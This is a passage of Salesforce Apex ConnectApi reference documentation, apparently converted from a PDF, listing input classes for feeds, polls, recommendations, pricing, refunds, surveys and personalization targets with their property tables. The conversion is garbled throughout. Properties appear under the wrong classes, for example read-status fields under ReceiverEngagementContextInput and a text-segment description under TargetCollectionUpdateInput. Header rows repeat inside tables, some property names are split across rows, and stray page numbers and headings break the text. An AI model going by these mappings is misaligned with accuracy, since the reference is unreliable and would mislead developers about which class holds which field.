<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available version</th>
</tr>
</thead>
<tbody>
<tr>
<td>cropSize</td>
<td>Integer</td>
<td>The length, in pixels, of any edge of the crop square.</td>
<td>29.0</td>
</tr>
<tr>
<td>cropX</td>
<td>Integer</td>
<td>The position X, in pixels, from the left edge of the image to the start of the crop square. Top left is position (0,0).</td>
<td>29.0</td>
</tr>
</tbody>
</table>
### Property: `cropY`  
**Type:** Integer  
**Description:** The position Y, in pixels, from the top edge of the image to the start of the crop square. Top left is position (0,0).  
**Available version:** 29.0

### Property: `fileId`  
**Type:** String  
**Description:** 18 character ID of an existing file. The key prefix must be 069 and the file must be an image and be smaller than 2 GB.  
**Available version:** 25.0

**Note:** Images uploaded on the Group page and on the User page don’t have file IDs and therefore can’t be used.

### Property: `versionNumber`  
**Type:** Integer  
**Description:** Version number of the existing content. If not provided, the latest version is used.  
**Available version:** 25.0

### ConnectApi.PinCapabilityInput
Pin or unpin a feed element to a feed.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>entityId</code></td>
<td>String</td>
<td>ID of the entity to pin or unpin. In version 41.0 and later, <code>entityId</code> must be a feed item ID. In version 41.0–42.0, only one feed item can be pinned per feed. In version 43.0 and later, three feed items can be pinned per feed.</td>
<td>Required</td>
<td>41.0</td>
</tr>
<tr>
<td><code>isPinned</code></td>
<td>Boolean</td>
<td>Specifies whether to pin (<code>true</code>) or unpin (<code>false</code>) the entity.</td>
<td>Required</td>
<td>41.0</td>
</tr>
</tbody>
</table>

### ConnectApi.PollCapabilityInput
Create, update, or vote on a poll on a feed element.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.  

---

2069
### ConnectApi.FeedElementCapabilitiesInput

Create or edit a question feed element or set the best answer of the existing question feed element.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>choices</td>
<td>List&lt;String&gt;</td>
<td>The choices used to create a new poll. You must specify 2–10 poll choices for each poll.</td>
<td>Required for creating a poll</td>
<td>32.0</td>
</tr>
<tr>
<td>myChoiceId</td>
<td>String</td>
<td>ID of an existing choice on the feed poll. Used to vote on an existing poll.</td>
<td>Required for voting on a poll</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.FeedElementCapabilitiesInput

---

### ConnectApi.PricingInput

Pricing for multiple products.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>pricingLineItems</td>
<td>List&lt;ConnectApi.PricingLineItemInput&gt;</td>
<td>Up to 500 line items for pricing.</td>
<td>Required</td>
<td>49.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.PricingInput

---

### ConnectApi.PricingLineItemInput

Pricing line item.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>productId</td>
<td>String</td>
<td>ID of the product to price.</td>
<td>Required</td>
<td>49.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.PricingInput

---

### ConnectApi.QuantityWithSkuInputRepresentation

A quantity of a product.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>quantity</td>
<td>Double</td>
<td>Quantity of the product.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>stockKeepingUnit</td>
<td>String</td>
<td>SKU of the product.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.QuantityWithSkuInputRepresentation
This class is a subclass of `ConnectApi.FeedElementCapabilityInput`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>bestAnswerId</td>
<td>String</td>
<td>A comment ID to use as a best answer for a question feed element. The best answer comment must already exist on the question feed element.</td>
<td>Required to update a feed element. Not supported when posting a feed element.</td>
<td>32.0</td>
</tr>
<tr>
<td>questionTitle</td>
<td>String</td>
<td>Title for a question feed element. To edit the title of a question, use <code>updateFeedElement(communityId, feedElementId, feedElement)</code>. Editing question titles is supported in version 34.0 and later.</td>
<td>Required to post a feed element. Not supported when updating a feed element.</td>
<td>32.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- Edit a Question Title and Post
- `ConnectApi.FeedElementCapabilitiesInput`

**ConnectApi.RankAverageDistanceInputRepresentation**

An order recipient’s geographic location and information about sets of inventory locations that can fulfill the order.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>deliveryCountryCode</td>
<td>String</td>
<td>The country code of the order recipient.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>deliveryPostalCode</td>
<td>String</td>
<td>The postal code of the order recipient.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>distanceUnit</td>
<td>String</td>
<td>Specify <code>mi</code> or <code>km</code> to return average distances in miles or kilometers, respectively.</td>
<td></td>
<td>51.0</td>
</tr>
<tr>
<td>sortResult</td>
<td>String</td>
<td>Specify <code>ASC</code> or <code>DESC</code> to rank the results by average shipping distance in ascending or descending order, respectively.</td>
<td></td>
<td>51.0</td>
</tr>
<tr>
<td>targetLocations</td>
<td></td>
<td>Each element is a set of inventory locations that can combine to fulfill the order.</td>
<td>At least one element is required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ReadByCapabilityInput**

Mark feed elements as read by the context user.

This class is a subclass of `ConnectApi.FeedElementCapabilityInput`. 

2071
### ConnectApi.ReceiverEngagementContextInput

Context based on which the survey invitation is sent to a participant.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isReadByMe</td>
<td>Boolean</td>
<td>Specifies to mark the feed element as read (true) for the context user.</td>
<td>Required</td>
<td>40.0</td>
</tr>
<tr>
<td>lastReadDateByMe</td>
<td>Datetime</td>
<td>Specifies the last date, in ISO 8601 format, when the feed element is marked as read for the context user.</td>
<td>Optional</td>
<td>40.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.FeedElementCapabilitiesInput`  
- `ConnectApi.RecipientEngagementContextInput`  

### ConnectApi.RecommendationAudienceInput

A custom recommendation audience.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>criteria</td>
<td><code>ConnectApi.AudienceCriteriaInput</code></td>
<td>The criteria for the custom recommendation audience type.</td>
<td>Optional</td>
<td>36.0</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `ConnectApi.SurveyInvitationEmailInput`  
- `ConnectApi.RecommendationAudienceInput`
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>memberOperationType</td>
<td>ConnectApi.RecommendationAudienceMemberOperationType</td>
<td>The operation to carry out on the audience members.</td>
<td>Required to update a recommendation audience</td>
<td>35.0 only</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Add—Adds specified members to the audience.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Remove—Removes specified members from the audience.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>members</td>
<td>List&lt;String&gt;</td>
<td>A collection of user IDs.</td>
<td>Required to update a recommendation audience</td>
<td>35.0 only</td>
</tr>
<tr>
<td></td>
<td></td>
<td>When updating an audience, you can include up to 100 members. An audience</td>
<td>Don't use or specify null</td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>can have up to 100,000 members, and each Experience Cloud site can have up to 100 audiences.</td>
<td>null to create a recommendation audience</td>
<td></td>
</tr>
<tr>
<td>name</td>
<td>String</td>
<td>The unique name of the custom recommendation audience.</td>
<td>Optional to update a recommendation audience</td>
<td>35.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Required to create a recommendation audience</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

SEE ALSO:
createRecommendationAudience(communityId, recommendationAudience)

**ConnectApi.RecommendationDefinitionInput**
A custom recommendation definition.
### ConnectApi Namespace

#### createRecommendationDefinition(communityId, recommendationDefinition)

ConnectApi.RecommendationReactionInput

A reaction to a recommendation produced by a recommendation strategy.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>aiModel</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>Optional</td>
<td>47.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>--------------------------</td>
<td>----------</td>
<td>-----------------------------------------------------------------------------</td>
<td>-----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>contextRecordId</td>
<td>String</td>
<td>ID of the context record. For example, if the next best action is on a case detail page, the ID of the case.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>executionId</td>
<td>String</td>
<td>ID of the original recommendation strategy execution.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>externalId</td>
<td>String</td>
<td>External ID of the recommendation. This ID doesn't need to be a Salesforce 18-character ID. For example, it can be a product number from an external system.</td>
<td>Optional</td>
<td>46.0</td>
</tr>
<tr>
<td>onBehalfOfId</td>
<td>String</td>
<td>ID of the user or entity for which the reaction took place.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>reactionType</td>
<td>ConnectApi. Recommendation ReactionType</td>
<td>Type of reaction to a recommendation. Values are: • Accepted • Rejected</td>
<td>Required</td>
<td>45.0</td>
</tr>
<tr>
<td>recommendationMode</td>
<td>String</td>
<td>Reserved for future use.</td>
<td>Optional</td>
<td>46.0</td>
</tr>
<tr>
<td>recommendationScore</td>
<td>Double</td>
<td>Reserved for future use.</td>
<td>Optional</td>
<td>46.0</td>
</tr>
<tr>
<td>strategyName</td>
<td>String</td>
<td>Name of the recommendation strategy.</td>
<td>Required</td>
<td>45.0</td>
</tr>
<tr>
<td>targetActionId</td>
<td>String</td>
<td>ID of the target action.</td>
<td>Optional</td>
<td>45.0</td>
</tr>
<tr>
<td>targetActionName</td>
<td>String</td>
<td>Name of the target action.</td>
<td>Required</td>
<td>45.0</td>
</tr>
<tr>
<td>targetId</td>
<td>String</td>
<td>ID of the recommendation that is being reacted to.</td>
<td>Required</td>
<td>45.0</td>
</tr>
</tbody>
</table>

**ConnectApi.RecordCapabilityInput**

Attach an existing knowledge article to a comment.

This class is a subclass of ConnectApi.FeedElementCapabilityInput.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>recordId</td>
<td>String</td>
<td>ID of the existing knowledge article to attach.</td>
<td>Required</td>
<td>42.0</td>
</tr>
</tbody>
</table>

**ConnectApi.ReferencedRefundRequest**

Referenced refund input.
Subclass of `ConnectApi.RefundRequest`.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>accountId</td>
<td>String</td>
<td>ID of the account linked to the referenced refund request.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>amount</td>
<td>Double</td>
<td>Amount refunded.</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>clientContext</td>
<td>String</td>
<td>Context for payment APIs. Used for a payment caller to re-establish context.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>comments</td>
<td>String</td>
<td>Optional comments for the refund.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>effectiveDate</td>
<td>Datetime</td>
<td>Date when the refund becomes effective.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>paymentGroup</td>
<td><code>ConnectApi.PaymentGroupRequest</code></td>
<td>Payment group details associated with the refund request.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
</tbody>
</table>

**`ConnectApi.RefundRequest`**

Refund input.

This class is abstract.

Subclass of `ConnectApi.BaseRequest`.

No additional properties.

Superclass of `ConnectApi.ReferencedRefundRequest`.

**`ConnectApi.RequestHeaderInput`**

An HTTP request header name and value pair.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>name</td>
<td>String</td>
<td>The name of the request header.</td>
<td>Required</td>
<td>33.0</td>
</tr>
<tr>
<td>value</td>
<td>String</td>
<td>The value of the request header.</td>
<td>Required</td>
<td>33.0</td>
</tr>
</tbody>
</table>

SEE ALSO:

- Define an Action Link and Post with a Feed Element

**`ConnectApi.ScheduledRecommendationInput`**

A scheduled custom recommendation.
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
</table>
| channel | ConnectApi.RecommendationChannel | A way to tie custom recommendations together. For example, display recommendations in specific places in the UI or show recommendations based on time of day or geographic locations. Values are:  
• CustomChannel1—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels. For example, community managers can use Experience Builder to determine where recommendations appear.  
• CustomChannel2—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
• CustomChannel3—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
• CustomChannel4—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
• CustomChannel5—Custom recommendation channel. Not used by default. Work with your community manager to define custom channels.  
• DefaultChannel—Default recommendation channel. Recommendations appear by default on the Home and Question Detail pages of Customer Service and Partner Central Experience Builder templates. They also appear in the feed in the Salesforce mobile web and anywhere community managers add recommendations using Experience Builder. Use these channel values; you can’t rename or create other channels. | Optional for creating a scheduled recommendation If not specified, defaults to DefaultChannel. Don’t use when updating a scheduled recommendation | 36.0 |
<p>| enabled | Boolean | Indicates whether scheduling is enabled. If true, the custom recommendation is enabled and appears in Experience Cloud sites. If false, custom recommendations | Optional | 35.0 |</p>
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td></td>
<td>in feeds in Salesforce mobile web aren't removed, but no new custom recommendations appear. In Customer Service and Partner Central sites, disabled custom recommendations no longer appear.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
<tr>
<td>rank</td>
<td>Integer</td>
<td>Relative rank of the scheduled custom recommendation indicated by ascending whole numbers starting with 1.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>Setting the rank is comparable to an insertion into an ordered list. The scheduled custom recommendation is inserted into the position specified by the rank. The rank of all the scheduled custom recommendations after it is pushed down.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>See Ranking scheduled custom recommendations example.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>If the specified rank is larger than the size of the list, the scheduled custom recommendation is put at the end of the list. The rank of the scheduled custom recommendation is the size of the list, instead of the one specified.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>If a rank is not specified, the scheduled custom recommendation is put at the end of the list.</td>
<td></td>
<td></td>
</tr>
<tr>
<td>recommendation</td>
<td>String</td>
<td>ID of the audience for this scheduled custom recommendation. When updating a scheduled custom recommendation, specify ALL to remove the association between a custom recommendation audience and a scheduled custom recommendation.</td>
<td>Optional</td>
<td>35.0</td>
</tr>
<tr>
<td>AudienceId</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>recommendation</td>
<td>String</td>
<td>ID of the custom recommendation definition that this scheduled recommendation schedules.</td>
<td>Required</td>
<td>35.0</td>
</tr>
<tr>
<td>DefinitionId</td>
<td></td>
<td>You can't specify a recommendation DefinitionId when updating a scheduled recommendation.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
**Ranking scheduled custom recommendations example**

If you have these scheduled custom recommendations:

<table>
<thead>
<tr>
<th>Scheduled Recommendations</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>3</td>
</tr>
</tbody>
</table>

And you include this information in the Scheduled Custom Recommendation Input:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
</tbody>
</table>

The result is:

<table>
<thead>
<tr>
<th>Scheduled Recommendation</th>
<th>Rank</th>
</tr>
</thead>
<tbody>
<tr>
<td>ScheduledRecommendationA</td>
<td>1</td>
</tr>
<tr>
<td>ScheduledRecommendationD</td>
<td>2</td>
</tr>
<tr>
<td>ScheduledRecommendationB</td>
<td>3</td>
</tr>
<tr>
<td>ScheduledRecommendationC</td>
<td>4</td>
</tr>
</tbody>
</table>

SEE ALSO:
- `createScheduledRecommendation(communityId, scheduledRecommendation)`

**ConnectApi.ShiftsFromPatternInput**

Shifts from a pattern.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>schedulingEndDate</td>
<td>String</td>
<td>Scheduling end date in YYYY-MM-DD format. Provide schedulingEndDate or schedulingOccurrences. Don't provide both.</td>
<td>Required if schedulingOccurrences isn't provided</td>
<td>51.0</td>
</tr>
<tr>
<td>schedulingOccurrences</td>
<td>Integer</td>
<td>Number of scheduling occurrences. Provide schedulingEndDate or schedulingOccurrences. Don't provide both.</td>
<td>Required if schedulingEndDate isn't provided</td>
<td>51.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>-----------------------</td>
<td>-------------</td>
<td>------------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>schedulingStartDate</td>
<td>String</td>
<td>Scheduling start date in YYYY-MM-DD format.</td>
<td>Required</td>
<td>51.0</td>
</tr>
<tr>
<td>serviceResourceId</td>
<td>String</td>
<td>ID of the service resource to assign shifts to.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
<tr>
<td>serviceTerritoryId</td>
<td>String</td>
<td>ID of the service territory to assign shifts to.</td>
<td>Optional</td>
<td>51.0</td>
</tr>
</tbody>
</table>

**ConnectApi.SocialPostMassApprovallInput**

List of social post ids and the action to approve or reject publishing them.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>isApproved</td>
<td>Boolean</td>
<td>Specifies whether to approve (true) or reject (false) publishing the social posts. If unspecified, defaults to false.</td>
<td>Optional</td>
<td>46.0</td>
</tr>
<tr>
<td>socialPostIdList</td>
<td>List&lt;String&gt;</td>
<td>A list of up to 200 social post IDs.</td>
<td>Required</td>
<td>46.0</td>
</tr>
</tbody>
</table>

**ConnectApi.StatusCapabilityInput**

Change the status of a feed post or comment.

This class is a subclass of ConnectApi.FeedElementCapabilityInput.
### Available Version

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>feedEntityStatus</td>
<td>ConnectApi.FeedEntityStatus</td>
<td>Status of the feed post or comment. Values are:</td>
<td>Required</td>
<td>37.0</td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Draft—The feed post isn’t published but is visible to the author and users with Modify All Data or View All Data permission. Comments can’t be drafts.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• PendingReview—The feed post or comment isn’t approved yet and therefore isn’t published or visible.</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td></td>
<td>• Published—The feed post or comment is approved and visible. Posts that have a status of PendingReview or Published can’t be changed to a status of Draft and vice versa.</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.FeedElementCapabilitiesInput

### ConnectApi.StreamSubscriptionInput

An entity to subscribe to for a Chatter feed stream.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>entityId</td>
<td>String</td>
<td>The ID of any feed-enabled entity, such as a group, record, or user, that the context user can access. When subscribed, the entity’s feed is included in the feed stream.</td>
<td>Required</td>
<td>39.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**
- ConnectApi.ChatterStreamInput

### ConnectApi.SurveyInvitationEmailInput

Survey invitation email.
<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>allowGuestUserResponse</td>
<td>Boolean</td>
<td>Specifies whether participants who don’t have a Salesforce account can respond (true) or not (false).</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>allowParticipantsAccessTheirResponse</td>
<td>Boolean</td>
<td>Specifies whether participants can see their responses (true) or not (false).</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>associateRecordsWithRecipients</td>
<td>List&lt;ConnectApi.AssociateRecordWithRecipientInput&gt;</td>
<td>Maps each recipient with another record that must be associated with the recipient’s survey invitation.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>body</td>
<td>String</td>
<td>Content of the email. Specify the email body in case you don’t specify an email template. The email body must contain one of the following merge fields: • To embed a link to launch the survey: [[SURVEY_INVITATION_URL]] • To embed a survey question: {{{SurveyQuestion.QuestionName}}} and {{{SurveyQuestion.QuestionHtmlContent}}}</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>collectAnonymousResponse</td>
<td>Boolean</td>
<td>Specifies whether participants can respond anonymously (true) or not (false).</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>communityId</td>
<td>String</td>
<td>ID of the site that’s used to open the survey for users outside your org.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>emailTemplateId</td>
<td>String</td>
<td>ID of the Lightning email template that’s used to send the survey invitation. The template must contain the required merge fields that embed either the survey link or a question in the email. Only Lightning email templates are used to send survey invitations.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>fromEmailAddress</td>
<td>String</td>
<td>Email ID of the user or the org-wide email address associated with the user’s profile.</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>invitationExpirationDate</td>
<td>Datetime</td>
<td>Date on which the survey invitation expires.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>invitationOwner</td>
<td>String</td>
<td>ID of the owner of the survey invitation records.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>isPersonalInvitation</td>
<td>Boolean</td>
<td>Specifies whether an unique invitation is created for each participant (true) or not (false). When a participant responds using a personal invitation, the response record is associated with the participant’s Salesforce record.</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>
</tr>
<tr>
<td>---------------------------------------</td>
<td>-----------------------------------</td>
<td>--------------------------------------------------------------------------------------------------</td>
<td>----------------------</td>
<td>-------------------</td>
</tr>
<tr>
<td>recipient Engagement Contexts</td>
<td>List&lt;ConnectApi.RecipientEngagementContextInput&gt;</td>
<td>Maps each recipient with the context based on which the survey invitation is emailed.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>recipients</td>
<td>List&lt;String&gt;</td>
<td>List of up to 300 IDs of leads, contacts, or users to whom the survey invitation is emailed.</td>
<td>Required</td>
<td>50.0</td>
</tr>
<tr>
<td>shareInvitations With</td>
<td>List&lt;String&gt;</td>
<td>IDs of the users with whom the survey invitation records must be shared. The invitation records are shared with Read access.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>subject</td>
<td>String</td>
<td>Subject of the email. Specify the subject in case you don’t specify an email template.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
<tr>
<td>surveyQuestionIds</td>
<td>List&lt;String&gt;</td>
<td>IDs of the questions that are embedded in the email. You can send an email invitation for questions of the following types: Net Promoter Score (NPS), rating, and score.</td>
<td>Optional</td>
<td>50.0</td>
</tr>
</tbody>
</table>

**ConnectApi.TargetCollectionInput**

Collection of targets to create.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>targets</td>
<td>List&lt;ConnectApi.TargetInput&gt;</td>
<td>List of targets to create.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

**ConnectApi.TargetCollectionUpdateInput**

Collection of targets to update.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>targets</td>
<td>List&lt;ConnectApi.TargetUpdateInput&gt;</td>
<td>List of targets to update.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

**ConnectApi.TargetLocationInputRepresentation**

A set of inventory locations that together can fulfill an order.
### ConnectApi.LocationInput

A list of locations with information about their country and postal codes.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>locations</td>
<td>List&lt;ConnectApi.LocationInput&gt;</td>
<td>A list of locations with information about their country and postal codes.</td>
<td>Required</td>
<td>51.0</td>
</tr>
</tbody>
</table>

### ConnectApi.TargetInput

Target to create.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>audienceId</td>
<td>String</td>
<td>ID of the audience to assign to the target.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>groupName</td>
<td>String</td>
<td>Group name of the target. Groups bundle related target and audience pairs. You can have up to 2,000 groups and 500 targets per group. To determine the group name for targets of type ExperienceVariation, see Personalization Target Developer and Group Names in the Experience Cloud Developer Guide.</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>priority</td>
<td>Integer</td>
<td>Priority of the target. Within a group, priority determines which target is returned if the user matches more than one audience.</td>
<td>Optional</td>
<td>48.0</td>
</tr>
<tr>
<td>publishStatus</td>
<td>ConnectApi.PublishStatus</td>
<td>The publish status of the target. Values are: Draft, Live. We recommend setting the publish status to Draft. If you specify Live, your changes revert after you publish the site.</td>
<td>Optional</td>
<td>48.0</td>
</tr>
<tr>
<td>targetType</td>
<td>String</td>
<td>Type of target, indicating the nature of the data being targeted. Supported values include: ExperienceVariation (version 48.0 and later), Custom object API names, such as CustomObjectName__c (version 48.0 and later), NavigationLinkSet (version 49.0 and later), Topic (version 49.0 and later), CollaborationGroup (version 49.0 and later)</td>
<td>Required</td>
<td>48.0</td>
</tr>
<tr>
<td>Property</td>
<td>Type</td>
<td>Description</td>
<td>Required or Optional</td>
<td>Available Version</td>

ConnectApi.TargetCollectionInput

**ConnectApi.TargetUpdateInput**

Target to update.

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>audienceId</td>
<td>String</td>
<td>ID of the audience to assign to the target.</td>
<td>Required if priority isn't specified. Otherwise, Optional</td>
<td>48.0</td>
</tr>
<tr>
<td>priority</td>
<td>Integer</td>
<td>Priority of the target. Within a group, priority determines which target is returned if the user matches more than one audience.</td>
<td>Required if audienceId isn't specified. Otherwise, Optional</td>
<td>48.0</td>
</tr>
</tbody>
</table>
### ConnectApi.TargetCollectionUpdateInput

Include a text segment in a feed item or comment.

Subclass of ConnectApi.MessageSegmentInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Required or Optional</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>targetId</td>
<td>String</td>
<td>ID of the target to update.</td>
<td>Required</td>
<td>48.0</td>
</tr>
</tbody>
</table>

**SEE ALSO:**

### ConnectApi.TextSegmentInput

Include a text segment in a feed item or comment.

Subclass of ConnectApi.MessageSegmentInput

<table>
<thead>
<tr>
<th>Property</th>
<th>Type</th>
<th>Description</th>
<th>Available Version</th>
</tr>
</thead>
<tbody>
<tr>
<td>text</td>
<td>String</td>
